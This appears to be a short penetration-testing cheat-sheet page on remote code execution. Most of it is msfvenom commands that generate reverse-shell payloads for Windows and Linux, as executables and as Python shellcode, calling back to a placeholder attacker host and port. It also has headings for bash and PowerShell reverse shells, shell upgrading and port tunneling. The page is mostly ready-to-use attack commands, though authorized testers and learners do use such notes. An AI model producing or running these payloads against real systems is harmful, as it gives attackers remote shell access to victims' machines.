Remote Code Execution

Check list

msfvenom  --list encoders

Windows

  • File

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe
  • Shell Code

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -v shellcode -f py

Linux

  • File

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf
  • Shell Code

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -v shellcode -f py

Reverse Shell using bash

Reverse Shell using PowerShell

Upgrade shell

Port Tunneling

https://www.ssh.com/ssh/tunneling/example

Last updated

Was this helpful?